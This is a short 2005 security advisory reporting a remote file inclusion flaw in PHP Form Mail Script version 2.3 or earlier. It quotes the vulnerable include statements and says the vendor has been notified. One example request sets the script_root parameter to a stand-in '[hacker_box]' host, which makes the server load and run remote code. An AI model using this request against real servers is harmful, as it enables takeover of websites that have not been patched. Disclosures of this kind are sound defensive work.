PHP Form Mail Script (2.3) - Arbitrary File Inclusion (VXSfx)

[Filip Groszynski <groszynskif@xxxxxxxxx>]

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Name:       Form Mail Script (FS)
Version:    <= 2.3 (free/commercial)
Homepage:   http://www.stadtaus.com/

Author:     Filip Groszynski   (VXSfx)
Date:       4 March 2005
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Vulnerable code in inc/formmail.inc.php:

  ...
  /*****************************************************
  ** Include functions
  *****************************************************/
      include $script_root . 'inc/functions.inc.php';
      include $script_root . 'inc/template.class.inc.php';
      include $script_root . 'inc/template.ext.class.inc.php';
      include $script_root . 'inc/formmail.class.inc.php';
  ...
      include $script_root . 'languages/language.' . $language . '.inc.php';
  ...

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Example:

  if register_globals=on and allow_url_fopen=on:
    http://[victim]/[dir]/inc/formmail.inc.php?script_root=http://[hacker_box]/

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Fix and Vendor status:

  Vendor has been notified.
  
--------------------------------------------------------

Contact:

    Author:    Filip Groszynski   <VXSfx>
    Location:  Poland <Warsaw>
    Email:     groszynskif <at> gmail <dot> com
    HP:        http://shell.homeunix.org

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